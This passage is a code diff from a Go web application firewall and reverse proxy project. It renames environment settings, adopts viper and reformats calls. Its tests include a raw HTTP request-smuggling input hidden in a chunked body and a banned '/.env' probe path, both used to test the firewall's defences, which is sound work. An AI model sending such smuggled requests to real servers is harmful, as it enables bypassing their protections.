// - alerts.json holds the cooldowns, the hour under way, the alerts // - alerts.json holds the cooldowns, the hour under way, the alerts
// waiting for each destination and the anomaly counters. // waiting for each destination and the anomaly counters.
// //
// The cache files are in SWW_CACHE_DIR. Each keeps answers from an // The cache files are in SWW_WAF_CACHE_DIR. Each keeps answers from an
// outside service, which are fetched again when the file is lost: // outside service, which are fetched again when the file is lost:
// - lookups.json holds GeoJS's answers; // - lookups.json holds GeoJS's answers;
// - lists.json holds the last try and last good copy of each list // - lists.json holds the last try and last good copy of each list
@@ -89,11 +89,7 @@ func fileNames() []string {
// isCacheFile reports whether name is the name of a cache file. // isCacheFile reports whether name is the name of a cache file.
func isCacheFile(name string) bool { func isCacheFile(name string) bool {
switch name { switch name {
case lookupsJSON, case lookupsJSON, listsJSON, dnsblJSON, abuseIPDBScoresJSON, routeWatchJSON:
listsJSON,
dnsblJSON,
abuseIPDBScoresJSON,
routeWatchJSON:
return true return true
default: default:
return false return false
@@ -107,29 +103,25 @@ var (
errCause = errors.New("is not limit, attack, admin or crowdsec") errCause = errors.New("is not limit, attack, admin or crowdsec")
errExpires = errors.New("is not after its start") errExpires = errors.New("is not after its start")
errDestination = errors.New("is not webhook, slack or ntfy") errDestination = errors.New("is not webhook, slack or ntfy")
errScope = errors.New( errScope = errors.New("is not client, net, asn, total or watched_net")
"is not client, net, asn, total or watched_net", errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` +
) `destination: put the list under "webhook", as "waiting": {"webhook": [...]}, ` +
errWaitingList = errors.New( `or remove the file`)
`waiting is a list, but now lists the alerts by ` +
`destination: put the list under "webhook", as "waiting": {"webhook": [...]}, ` +
`or remove the file`,
)
) )
// Params are what Load needs. // Params are what Load needs.
type Params struct { type Params struct {
// Dir is the directory of the state files (SWW_STATE_DIR), and // Dir is the directory of the state files (SWW_WAF_STATE_DIR), and
// CacheDir that of the cache files (SWW_CACHE_DIR). // CacheDir that of the cache files (SWW_WAF_CACHE_DIR).
Dir string Dir string
CacheDir string CacheDir string
// WriteDelay is how long after a ban is made bans.json is written // WriteDelay is how long after a ban is made bans.json is written
// (SWW_STATE_WRITE_DELAY), and CounterInterval how often every file // (SWW_WAF_STATE_WRITE_DELAY), and CounterInterval how often every file
// is (SWW_STATE_COUNTER_INTERVAL). // is (SWW_WAF_STATE_COUNTER_INTERVAL).
WriteDelay time.Duration WriteDelay time.Duration
CounterInterval time.Duration CounterInterval time.Duration
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and // Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and
// Anomalies hold the state. RouteWatch is nil while SWW_ROUTEWATCH_URL is // Anomalies hold the state. RouteWatch is nil while SWW_WAF_ROUTEWATCH_URL is
// unset, and routewatch.json then holds no answers. Alerts also receive a // unset, and routewatch.json then holds no answers. Alerts also receive a
// file_error alert for an edit set aside, and for a write that fails while // file_error alert for an edit set aside, and for a write that fails while
// sww runs. // sww runs.
@@ -265,12 +257,12 @@ type stateFile interface {
func Load(params Params) (*Files, error) { func Load(params Params) (*Files, error) {
err := checkWritable(params.Dir) err := checkWritable(params.Dir)
if err != nil { if err != nil {
return nil, fmt.Errorf("SWW_STATE_DIR cannot be written: %w", err) return nil, fmt.Errorf("SWW_WAF_STATE_DIR cannot be written: %w", err)
} }
err = checkWritable(params.CacheDir) err = checkWritable(params.CacheDir)
if err != nil { if err != nil {
return nil, fmt.Errorf("SWW_CACHE_DIR cannot be written: %w", err) return nil, fmt.Errorf("SWW_WAF_CACHE_DIR cannot be written: %w", err)
} }
f := &Files{params: params, sums: map[string][sha256.Size]byte{}} f := &Files{params: params, sums: map[string][sha256.Size]byte{}}
@@ -291,23 +283,9 @@ func Load(params Params) (*Files, error) {
f.readCache(abuseIPDBScoresJSON) f.readCache(abuseIPDBScoresJSON)
f.readCache(routeWatchJSON) f.readCache(routeWatchJSON)
params.ProcessLog.Info( params.ProcessLog.Info("read the state and cache files", "directory", params.Dir,
"read the state and cache files", "cache_directory", params.CacheDir, "bans", bansRead, "clients", clientsRead,
"directory", "lookups", lookupsRead, "lists", listsRead, "alerts_waiting", alertsRead)
params.Dir,
"cache_directory",
params.CacheDir,
"bans",
bansRead,
"clients",
clientsRead,
"lookups",
lookupsRead,
"lists",
listsRead,
"alerts_waiting",
alertsRead,
)
return f, nil return f, nil
} }
@@ -366,11 +344,8 @@ func (f *Files) WriteAll() error {
func (f *Files) Watch(ctx context.Context) { func (f *Files) Watch(ctx context.Context) {
watcher, err := fsnotify.NewWatcher() watcher, err := fsnotify.NewWatcher()
if err != nil { if err != nil {
f.params.ProcessLog.Error( f.params.ProcessLog.Error("cannot watch the state and cache files for edits",
"cannot watch the state and cache files for edits", "error", err.Error())
"error",
err.Error(),
)
return return
} }
@@ -420,11 +395,8 @@ func (f *Files) Watch(ctx context.Context) {
f.fileChanged(name) f.fileChanged(name)
} }
case err = <-watcher.Errors: case err = <-watcher.Errors:
f.params.ProcessLog.Warn( f.params.ProcessLog.Warn("watching the state and cache files failed",
"watching the state and cache files failed", "error", err.Error())
"error",
err.Error(),
)
} }
} }
} }
@@ -444,10 +416,7 @@ func (f *Files) logFailure(name string, err error) {
Event: alerts.EventFileError, Event: alerts.EventFileError,
Reason: failed, Reason: failed,
Detail: map[string]any{ Detail: map[string]any{
"file": filepath.Join( "file": filepath.Join(f.dir(name), name), "error": err.Error(),
f.dir(name),
name,
), "error": err.Error(),
}, },
}) })
f.params.ProcessLog.Error(failed, "error", err.Error()) f.params.ProcessLog.Error(failed, "error", err.Error())
@@ -488,11 +457,7 @@ func (f *Files) takeInEdit(name string, data []byte) error {
// Counted before it is logged, so that the count is there once the // Counted before it is logged, so that the count is there once the
// log line is. // log line is.
f.params.Metrics.StateFileEditTakenIn(name) f.params.Metrics.StateFileEditTakenIn(name)
f.params.ProcessLog.Info( f.params.ProcessLog.Info(tookIn, "file", filepath.Join(f.dir(name), name))
tookIn,
"file",
filepath.Join(f.dir(name), name),
)
return nil return nil
} }
@@ -543,13 +508,8 @@ func (f *Files) readCache(name string) int {
// start, unless it is nil. // start, unless it is nil.
func (f *Files) logUnread(name string, err error) { func (f *Files) logUnread(name string, err error) {
if err != nil { if err != nil {
f.params.ProcessLog.Warn( f.params.ProcessLog.Warn("cannot read a cache file, so its cache starts empty",
"cannot read a cache file, so its cache starts empty", "file", filepath.Join(f.dir(name), name), "error", err.Error())
"file",
filepath.Join(f.dir(name), name),
"error",
err.Error(),
)
} }
} }
@@ -560,8 +520,7 @@ func (f *Files) logUnread(name string, err error) {
func (f *Files) readChanged(name string) ([]byte, bool, error) { func (f *Files) readChanged(name string) ([]byte, bool, error) {
path := filepath.Join(f.dir(name), name) path := filepath.Join(f.dir(name), name)
//nolint:gosec // a file in one of the two directories data, err := os.ReadFile(path) //nolint:gosec // a file in one of the two directories
data, err := os.ReadFile(path)
if errors.Is(err, fs.ErrNotExist) { if errors.Is(err, fs.ErrNotExist) {
return nil, false, nil return nil, false, nil
} }
@@ -605,11 +564,7 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) {
// takeInState parses data, what the state file name, at path, holds, and // takeInState parses data, what the state file name, at path, holds, and
// puts it in, as takeIn describes. // puts it in, as takeIn describes.
func (f *Files) takeInState( func (f *Files) takeInState(name, path string, data []byte, edit bool) (int, error) {
name, path string,
data []byte,
edit bool,
) (int, error) {
var entries int var entries int
switch name { switch name {
@@ -838,18 +793,9 @@ func (f *Files) setAside(name string, parseErr error) error {
f.params.Alerts.Raise(alerts.Alert{ f.params.Alerts.Raise(alerts.Alert{
Event: alerts.EventFileError, Event: alerts.EventFileError,
Reason: setAside, Reason: setAside,
Detail: map[string]any{ Detail: map[string]any{"file": path + ".bad", "error": parseErr.Error()},
"file": path + ".bad",
"error": parseErr.Error(),
},
}) })
f.params.ProcessLog.Error( f.params.ProcessLog.Error(setAside, "file", path+".bad", "error", parseErr.Error())
setAside,
"file",
path+".bad",
"error",
parseErr.Error(),
)
f.params.Metrics.StateFileEditSetAside(name) f.params.Metrics.StateFileEditSetAside(name)
return nil return nil
@@ -868,9 +814,7 @@ func (f *Files) encode(name string) ([]byte, error) {
case lookupsJSON: case lookupsJSON:
return encodeOnePerLine("lookups", f.params.GeoJS.Snapshot()) return encodeOnePerLine("lookups", f.params.GeoJS.Snapshot())
case listsJSON: case listsJSON:
return encodeIndented( return encodeIndented(listsFile{Version: version, Lists: f.params.Lists.Snapshot()})
listsFile{Version: version, Lists: f.params.Lists.Snapshot()},
)
case dnsblJSON: case dnsblJSON:
return encodeOnePerLine("verdicts", f.params.DNSBL.Snapshot()) return encodeOnePerLine("verdicts", f.params.DNSBL.Snapshot())
case abuseIPDBScoresJSON: case abuseIPDBScoresJSON:
@@ -987,12 +931,7 @@ func (f *bansFile) check(data []byte) error {
case entry.Cause != "" && entry.Cause != bans.CauseLimit && case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin && entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
entry.Cause != bans.CauseCrowdSec: entry.Cause != bans.CauseCrowdSec:
return fmt.Errorf( return fmt.Errorf("entry %d's cause %q %w", i+1, entry.Cause, errCause)
"entry %d's cause %q %w",
i+1,
entry.Cause,
errCause,
)
} }
} }
@@ -1201,17 +1140,9 @@ func (f *alertsFile) check([]byte) error {
for i, alert := range f.Waiting[destination] { for i, alert := range f.Waiting[destination] {
switch { switch {
case alert.Event == "": case alert.Event == "":
return fmt.Errorf( return fmt.Errorf("waiting %s %w", destination, missing(i, "event"))
"waiting %s %w",
destination,
missing(i, "event"),
)
case alert.Time.IsZero(): case alert.Time.IsZero():
return fmt.Errorf( return fmt.Errorf("waiting %s %w", destination, missing(i, "time"))
"waiting %s %w",
destination,
missing(i, "time"),
)
} }
} }
} }
@@ -1284,12 +1215,7 @@ func missing(i int, field string) error {
func (f *bansFile) toUTC() { func (f *bansFile) toUTC() {
for i := range f.Bans { for i := range f.Bans {
ban := &f.Bans[i] ban := &f.Bans[i]
convertToUTC( convertToUTC(&ban.Start, ban.Expires, ban.Lifted, &ban.Notes.Request.Time)
&ban.Start,
ban.Expires,
ban.Lifted,
&ban.Notes.Request.Time,
)
} }
} }
@@ -1297,18 +1223,11 @@ func (f *bansFile) toUTC() {
func (f *clientsFile) toUTC() { func (f *clientsFile) toUTC() {
for i := range f.Clients { for i := range f.Clients {
client := &f.Clients[i] client := &f.Clients[i]
convertToUTC( convertToUTC(&client.Minute.Start, &client.Hour.Start, &client.Day.Start,
&client.Minute.Start, &client.MinuteBytes.Start, &client.HourBytes.Start,
&client.Hour.Start, &client.DayBytes.Start, &client.MinuteRefusals.Start,
&client.Day.Start, &client.History.FirstSeen, &client.History.LastSeen,
&client.MinuteBytes.Start, &client.History.LookedUp)
&client.HourBytes.Start,
&client.DayBytes.Start,
&client.MinuteRefusals.Start,
&client.History.FirstSeen,
&client.History.LastSeen,
&client.History.LookedUp,
)
} }
} }
@@ -1501,7 +1420,7 @@ func write(dir, name string, data []byte) error {
// syncDirectory syncs dir to the disk, so that a rename in it lasts. // syncDirectory syncs dir to the disk, so that a rename in it lasts.
func syncDirectory(dir string) error { func syncDirectory(dir string) error {
//nolint:gosec // SWW_STATE_DIR or SWW_CACHE_DIR itself //nolint:gosec // SWW_WAF_STATE_DIR or SWW_WAF_CACHE_DIR itself
directory, err := os.Open(dir) directory, err := os.Open(dir)
if err != nil { if err != nil {
return err return err
@@ -1512,12 +1431,8 @@ func syncDirectory(dir string) error {
// writeSynced writes data to the file at path, and syncs it to the disk. // writeSynced writes data to the file at path, and syncs it to the disk.
func writeSynced(path string, data []byte) error { func writeSynced(path string, data []byte) error {
//nolint:gosec // a file's temporary file, in SWW_STATE_DIR or SWW_CACHE_DIR //nolint:gosec // a file's temporary file, in SWW_WAF_STATE_DIR or SWW_WAF_CACHE_DIR
file, err := os.OpenFile( file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, fileMode)
path,
os.O_WRONLY|os.O_CREATE|os.O_TRUNC,
fileMode,
)
if err != nil { if err != nil {
return err return err
} }
File diff suppressed because it is too large. Load diff
+16 -34
View File
@@ -10,6 +10,8 @@ import (
"net/url" "net/url"
"time" "time"
"github.com/spf13/viper"
"sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/waf" "sneak.berlin/go/smallwebwaf/internal/waf"
) )
@@ -21,19 +23,17 @@ var errHealthEndpoint = errors.New("the health endpoint answered")
// HealthCheck is the container's health check. In waf's container, where // HealthCheck is the container's health check. In waf's container, where
// SWW_COMMAND is waf, it returns 0 while waf answers its health // SWW_COMMAND is waf, it returns 0 while waf answers its health
// endpoint on 127.0.0.1, at the port in SWW_LISTEN_ADDR. In rproxy's container, // endpoint on 127.0.0.1, at the port in SWW_WAF_LISTEN_ADDR. In rproxy's container,
// where SWW_COMMAND is rproxy, unset or empty, it returns 0 while rproxy // where SWW_COMMAND is rproxy, unset or empty, it returns 0 while rproxy
// answers its health endpoint on 127.0.0.1, at the port in SWRP_LISTEN_ADDR, and // answers its health endpoint on 127.0.0.1, at the port in SWW_RPROXY_LISTEN_ADDR, and
// the app accepts connections at the address in SWRP_UPSTREAM_URL. Otherwise, // the app accepts connections at the address in SWW_RPROXY_UPSTREAM_URL. Otherwise,
// any other value of SWW_COMMAND included, it writes why to stderr and // any other value of SWW_COMMAND included, it writes why to stderr and
// returns 1. It reads no other setting, nor a file that another names, so neither // returns 1. It reads no other setting, nor a file that another names, so neither
// can fail it. // can fail it.
// args are the arguments after `healthcheck`; it takes none, and given // args are the arguments after `healthcheck`; it takes none, and given
// one it names it on stderr and returns 1 without checking anything. // one it names it on stderr and returns 1 without checking anything.
func HealthCheck( func HealthCheck(
ctx context.Context, ctx context.Context, args []string, v *viper.Viper,
args []string,
lookupEnv func(string) (string, bool),
stderr io.Writer, stderr io.Writer,
) int { ) int {
if len(args) > 0 { if len(args) > 0 {
@@ -46,15 +46,15 @@ func HealthCheck(
ctx, cancel := context.WithTimeout(ctx, healthCheckTimeout) ctx, cancel := context.WithTimeout(ctx, healthCheckTimeout)
defer cancel() defer cancel()
command, err := config.Command(lookupEnv) command, err := config.Command(v)
switch { switch {
case err != nil: case err != nil:
err = fmt.Errorf("invalid setting: %w", err) err = fmt.Errorf("invalid setting: %w", err)
case command == "waf": case command == "waf":
err = checkWAF(ctx, lookupEnv) err = checkWAF(ctx, v)
default: default:
err = checkRProxyAndApp(ctx, lookupEnv) err = checkRProxyAndApp(ctx, v)
} }
if err != nil { if err != nil {
@@ -67,10 +67,8 @@ func HealthCheck(
} }
// checkWAF asks waf's health endpoint. // checkWAF asks waf's health endpoint.
func checkWAF( func checkWAF(ctx context.Context, v *viper.Viper) error {
ctx context.Context, lookupEnv func(string) (string, bool), listenAddr, err := config.WAFListenAddr(v)
) error {
listenAddr, err := config.WAFListenAddr(lookupEnv)
if err != nil { if err != nil {
return fmt.Errorf("invalid setting: %w", err) return fmt.Errorf("invalid setting: %w", err)
} }
@@ -84,12 +82,8 @@ func checkWAF(
} }
// checkRProxyAndApp asks rproxy's health endpoint, and connects to the app. // checkRProxyAndApp asks rproxy's health endpoint, and connects to the app.
func checkRProxyAndApp( func checkRProxyAndApp(ctx context.Context, v *viper.Viper) error {
ctx context.Context, lookupEnv func(string) (string, bool), listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(v)
) error {
listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(
lookupEnv,
)
if err != nil { if err != nil {
return fmt.Errorf("invalid setting: %w", err) return fmt.Errorf("invalid setting: %w", err)
} }
@@ -99,11 +93,7 @@ func checkRProxyAndApp(
return fmt.Errorf("ask rproxy: %w", err) return fmt.Errorf("ask rproxy: %w", err)
} }
conn, err := (&net.Dialer{}).DialContext( conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", appAddress(upstreamURL))
ctx,
"tcp",
appAddress(upstreamURL),
)
if err != nil { if err != nil {
return fmt.Errorf("connect to the app: %w", err) return fmt.Errorf("connect to the app: %w", err)
} }
@@ -117,17 +107,9 @@ func checkRProxyAndApp(
// listenAddr, which the settings have checked has one. // listenAddr, which the settings have checked has one.
func askHealthEndpoint(ctx context.Context, listenAddr string) error { func askHealthEndpoint(ctx context.Context, listenAddr string) error {
_, port, _ := net.SplitHostPort(listenAddr) _, port, _ := net.SplitHostPort(listenAddr)
health := "http://" + net.JoinHostPort( health := "http://" + net.JoinHostPort("127.0.0.1", port) + waf.HealthPath
"127.0.0.1",
port,
) + waf.HealthPath
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(ctx, http.MethodGet, health, http.NoBody)
ctx,
http.MethodGet,
health,
http.NoBody,
)
if err != nil { if err != nil {
return fmt.Errorf("make the request: %w", err) return fmt.Errorf("make the request: %w", err)
} }
+18 -46
View File
@@ -12,6 +12,7 @@ import (
"testing" "testing"
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
"sneak.berlin/go/smallwebwaf/internal/sww" "sneak.berlin/go/smallwebwaf/internal/sww"
) )
@@ -54,9 +55,9 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
// or invalid token file, or an invalid value of another setting, does not // or invalid token file, or an invalid value of another setting, does not
// fail it. // fail it.
for _, other := range []struct{ name, value string }{ for _, other := range []struct{ name, value string }{
{"SWW_METRICS_TOKEN_FILE", filepath.Join(t.TempDir(), "removed")}, {"SWW_WAF_METRICS_TOKEN_FILE", filepath.Join(t.TempDir(), "removed")},
{"SWW_METRICS_TOKEN_FILE", writeFile(t, "too short\n")}, {"SWW_WAF_METRICS_TOKEN_FILE", writeFile(t, "too short\n")},
{"SWW_MODE", "neither"}, {"SWW_WAF_MODE", "neither"},
} { } {
wantHealthCheck(t, map[string]string{ wantHealthCheck(t, map[string]string{
commandSetting: wafCommand, commandSetting: wafCommand,
@@ -72,7 +73,7 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
}, 1, "unhealthy: ask waf: ") }, 1, "unhealthy: ask waf: ")
wantHealthCheck(t, map[string]string{ wantHealthCheck(t, map[string]string{
commandSetting: wafCommand, listenAddr: "8080", commandSetting: wafCommand, listenAddr: "8080",
}, 1, "unhealthy: invalid setting: SWW_LISTEN_ADDR: ") }, 1, "unhealthy: invalid setting: SWW_WAF_LISTEN_ADDR: ")
stop() stop()
@@ -94,10 +95,7 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
site, _ := startRProxy(t, "http://127.0.0.1:9", app.URL) site, _ := startRProxy(t, "http://127.0.0.1:9", app.URL)
_, port, _ := net.SplitHostPort(strings.TrimPrefix(site, "http://")) _, port, _ := net.SplitHostPort(strings.TrimPrefix(site, "http://"))
settings := func(more ...string) map[string]string { settings := func(more ...string) map[string]string {
env := map[string]string{ env := map[string]string{rproxyListenAddr: ":" + port, rproxyUpstreamURL: app.URL}
rproxyListenAddr: ":" + port,
rproxyUpstreamURL: app.URL,
}
for i := 0; i < len(more); i += 2 { for i := 0; i < len(more); i += 2 {
env[more[i]] = more[i+1] env[more[i]] = more[i+1]
} }
@@ -110,16 +108,12 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
wantHealthCheck(t, settings(commandSetting, "rproxy"), 0, "") wantHealthCheck(t, settings(commandSetting, "rproxy"), 0, "")
// SWW_COMMAND cannot be given as a file. // SWW_COMMAND cannot be given as a file.
wantHealthCheck( wantHealthCheck(t, settings(commandSetting+"_FILE", writeFile(t, "waf\n")),
t, 0, "")
settings(commandSetting+"_FILE", writeFile(t, "waf\n")),
0,
"",
)
// Another setting does not fail it, even an invalid one, and neither does // Another setting does not fail it, even an invalid one, and neither does
// SWRP_WAF_BACKEND being unset. // SWW_RPROXY_WAF_BACKEND being unset.
wantHealthCheck(t, settings("SWRP_TIMEOUT_MS", "soon"), 0, "") wantHealthCheck(t, settings("SWW_RPROXY_TIMEOUT_MS", "soon"), 0, "")
// Another test can take a closed server's port at once, so the app's // Another test can take a closed server's port at once, so the app's
// address here is a multicast address, to which TCP cannot connect. // address here is a multicast address, to which TCP cannot connect.
@@ -128,20 +122,16 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
// Listening on port 0 takes any free port, so nothing listens on port 0 // Listening on port 0 takes any free port, so nothing listens on port 0
// itself. // itself.
wantHealthCheck( wantHealthCheck(t, settings(rproxyListenAddr, ":0"), 1, "unhealthy: ask rproxy: ")
t,
settings(rproxyListenAddr, ":0"),
1,
"unhealthy: ask rproxy: ",
)
wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1, wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1,
"unhealthy: invalid setting: SWRP_LISTEN_ADDR: ") "unhealthy: invalid setting: SWW_RPROXY_LISTEN_ADDR: ")
// No setting of rproxy's has a form given as a file. // A setting of rproxy's can be given as a file too, here the listen
// address, which the health check reads.
wantHealthCheck(t, map[string]string{ wantHealthCheck(t, map[string]string{
rproxyListenAddr + "_FILE": writeFile(t, ":"+port+"\n"), rproxyListenAddr + "_FILE": writeFile(t, ":"+port+"\n"),
rproxyUpstreamURL: app.URL, rproxyUpstreamURL: app.URL,
}, 1, "unhealthy: ask rproxy: ") }, 0, "")
} }
func TestHealthCheckFailsWithAnyOtherCommand(t *testing.T) { func TestHealthCheckFailsWithAnyOtherCommand(t *testing.T) {
@@ -157,11 +147,7 @@ func TestHealthCheckRefusesAnArgument(t *testing.T) {
var stderr bytes.Buffer var stderr bytes.Buffer
noSettings := func(string) (string, bool) { got := sww.HealthCheck(t.Context(), []string{"now"}, configtest.Viper(nil), &stderr)
return "", false
}
got := sww.HealthCheck(t.Context(), []string{"now"}, noSettings, &stderr)
want := "sww healthcheck: unexpected argument \"now\"\n" want := "sww healthcheck: unexpected argument \"now\"\n"
if got != 1 || stderr.String() != want { if got != 1 || stderr.String() != want {
@@ -173,26 +159,12 @@ func TestHealthCheckRefusesAnArgument(t *testing.T) {
// wantHealthCheck runs the health check with the settings in env, and // wantHealthCheck runs the health check with the settings in env, and
// checks its exit status and the start of what it writes to stderr, // checks its exit status and the start of what it writes to stderr,
// which is nothing when message is empty. // which is nothing when message is empty.
func wantHealthCheck( func wantHealthCheck(t *testing.T, env map[string]string, status int, message string) {
t *testing.T,
env map[string]string,
status int,
message string,
) {
t.Helper() t.Helper()
var stderr bytes.Buffer var stderr bytes.Buffer
got := sww.HealthCheck( got := sww.HealthCheck(t.Context(), nil, configtest.Viper(env), &stderr)
t.Context(),
nil,
func(name string) (string, bool) {
value, ok := env[name]
return value, ok
},
&stderr,
)
wrote := stderr.String() wrote := stderr.String()
if got != status || !strings.HasPrefix(wrote, message) || if got != status || !strings.HasPrefix(wrote, message) ||
+4 -12
View File
@@ -15,19 +15,15 @@ import (
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves // RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
// requests until ctx is done. Then it gives the requests in progress // requests until ctx is done. Then it gives the requests in progress
// shutdownTimeout to finish, and the reports being sent SWRP_TIMEOUT_MS. It // shutdownTimeout to finish, and the reports being sent SWW_RPROXY_TIMEOUT_MS. It
// returns the process's exit status, 1 when rproxy cannot start. Its process // returns the process's exit status, 1 when rproxy cannot start. Its process
// messages name the host's name as instance, and it writes those at info or // messages name the host's name as instance, and it writes those at info or
// more severe: rproxy has no setting for either. // more severe: rproxy has no setting for either.
func RunRProxy(ctx context.Context, params Params) int { func RunRProxy(ctx context.Context, params Params) int {
hostname, _ := os.Hostname() // "" when the host has no name to give hostname, _ := os.Hostname() // "" when the host has no name to give
processLog := requestlog.NewProcessLogger( processLog := requestlog.NewProcessLogger(params.Stdout, hostname, slog.LevelInfo)
params.Stdout,
hostname,
slog.LevelInfo,
)
cfg, err := config.RProxyFromEnvironment(params.LookupEnv) cfg, err := config.RProxyFromEnvironment(params.Viper)
if err != nil { if err != nil {
processLog.Error("invalid setting", "error", err.Error()) processLog.Error("invalid setting", "error", err.Error())
@@ -42,11 +38,7 @@ func RunRProxy(ctx context.Context, params Params) int {
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr) listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
if err != nil { if err != nil {
processLog.Error( processLog.Error("cannot listen on SWW_RPROXY_LISTEN_ADDR", "error", err.Error())
"cannot listen on SWRP_LISTEN_ADDR",
"error",
err.Error(),
)
return 1 return 1
} }
+41 -113
View File
@@ -19,19 +19,20 @@ import (
"testing" "testing"
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
"sneak.berlin/go/smallwebwaf/internal/sww" "sneak.berlin/go/smallwebwaf/internal/sww"
"sneak.berlin/go/smallwebwaf/internal/waf" "sneak.berlin/go/smallwebwaf/internal/waf"
) )
const ( const (
// wafBackend is the setting that names waf to rproxy. // wafBackend is the setting that names waf to rproxy.
wafBackend = "SWRP_WAF_BACKEND" wafBackend = "SWW_RPROXY_WAF_BACKEND"
// rproxyListenAddr is the setting that says where rproxy listens. // rproxyListenAddr is the setting that says where rproxy listens.
rproxyListenAddr = "SWRP_LISTEN_ADDR" rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
// rproxyUpstreamURL is the setting that says where the app is. // rproxyUpstreamURL is the setting that says where the app is.
rproxyUpstreamURL = "SWRP_UPSTREAM_URL" rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
// rproxyTimeout is the setting that says how long rproxy waits for waf. // rproxyTimeout is the setting that says how long rproxy waits for waf.
rproxyTimeout = "SWRP_TIMEOUT_MS" rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
// bannedProbe is a path the default rule file bans a client for. // bannedProbe is a path the default rule file bans a client for.
bannedProbe = "/.env" bannedProbe = "/.env"
// otherClient is a client the tests do not ban. // otherClient is a client the tests do not ban.
@@ -43,12 +44,8 @@ const (
func runRProxy(ctx context.Context, env map[string]string, out *output) int { func runRProxy(ctx context.Context, env map[string]string, out *output) int {
return sww.RunRProxy(ctx, sww.Params{ return sww.RunRProxy(ctx, sww.Params{
Version: testVersion, Version: testVersion,
LookupEnv: func(name string) (string, bool) { Viper: configtest.Viper(env),
value, ok := env[name] Stdout: out,
return value, ok
},
Stdout: out,
}) })
} }
@@ -64,10 +61,10 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
go func() { go func() {
exited <- runRProxy(ctx, map[string]string{ exited <- runRProxy(ctx, map[string]string{
rproxyListenAddr: localhost + ":0", rproxyListenAddr: localhost + ":0",
"SWRP_UPSTREAM_URL": appURL, "SWW_RPROXY_UPSTREAM_URL": appURL,
"SWRP_TRUSTED_PROXIES": localhost + "/32", "SWW_RPROXY_TRUSTED_PROXIES": localhost + "/32",
wafBackend: backend, wafBackend: backend,
}, out) }, out)
}() }()
@@ -79,11 +76,7 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Errorf( t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
"rproxy's exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Error("rproxy still running after being told to stop") t.Error("rproxy still running after being told to stop")
@@ -98,10 +91,7 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
// startWAF runs waf with the settings in env, and returns // startWAF runs waf with the settings in env, and returns
// its address and URL, what it writes, and what stops it, which checks that it // its address and URL, what it writes, and what stops it, which checks that it
// stopped in order. // stopped in order.
func startWAF( func startWAF(t *testing.T, env map[string]string) (string, *output, func()) {
t *testing.T,
env map[string]string,
) (string, *output, func()) {
t.Helper() t.Helper()
ctx, stop := context.WithCancel(t.Context()) ctx, stop := context.WithCancel(t.Context())
@@ -120,11 +110,7 @@ func startWAF(
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Fatalf( t.Fatalf("waf's exit status %d, want 0; output:\n%s", status, out.text())
"waf's exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Fatal("waf still running after being told to stop") t.Fatal("waf still running after being told to stop")
@@ -352,12 +338,7 @@ func pipe(dst, src net.Conn) {
// answersNormally reports whether a request to url from the client at from, as // answersNormally reports whether a request to url from the client at from, as
// X-Forwarded-For names it, gets the app's answer. // X-Forwarded-For names it, gets the app's answer.
func answersNormally(ctx context.Context, url, from string) bool { func answersNormally(ctx context.Context, url, from string) bool {
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, http.NoBody)
ctx,
http.MethodGet,
url,
http.NoBody,
)
if err != nil { if err != nil {
return false return false
} }
@@ -375,8 +356,7 @@ func answersNormally(ctx context.Context, url, from string) bool {
body, err := io.ReadAll(res.Body) body, err := io.ReadAll(res.Body)
_ = res.Body.Close() _ = res.Body.Close()
return err == nil && res.StatusCode == http.StatusOK && return err == nil && res.StatusCode == http.StatusOK && string(body) == greeting
string(body) == greeting
} }
// sendRaw sends request, as it is, to rproxy at site, and returns the status of // sendRaw sends request, as it is, to rproxy at site, and returns the status of
@@ -429,16 +409,9 @@ func TestAChunkedBodyStaysABodyAtWAF(t *testing.T) {
waf.ClientHeader + ": " + otherClient + "\r\n" + waf.ClientHeader + ": " + otherClient + "\r\n" +
"X-Request-ID: " + smuggledID + "\r\n\r\n" "X-Request-ID: " + smuggledID + "\r\n\r\n"
status := sendRaw( status := sendRaw(t, site, "POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
